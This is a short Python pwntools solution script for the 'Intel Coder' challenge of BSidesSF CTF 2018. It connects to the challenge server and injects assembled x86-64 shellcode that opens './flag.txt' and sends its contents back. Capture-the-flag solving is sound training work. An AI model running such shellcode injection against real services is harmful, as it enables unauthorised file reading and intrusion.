BSidesSF CTF 2018 - Intel Coder Solution

intel-coder-client.py

#!/usr/bin/env python
from pwn import *

if args.LOCAL:
  p = process(['./coder'])
else:
  p = remote('intel-coder-d95049.challenges.bsidessf.net', 8086)

context(terminal=['tmux', 'split'], bits=64, arch='amd64')
gdb.attach(p, 'stepi')

# Finding Flag:
# pwndbg> x/s $rdx+0x9298
# 0x7f8d9d216428: "./flag.txt"

getFlagAddr = 'add rdx, 0x9298; mov rax, rdx;'
o = pwnlib.shellcraft.open('rax', 0)
s = pwnlib.shellcraft.sendfile(1, 'rax', 0, 40)

payload = asm(getFlagAddr) + asm(o) + asm(s)
payload = '{}\n{}\n'.format(len(payload), payload)

p.sendline(payload)
p.interactive()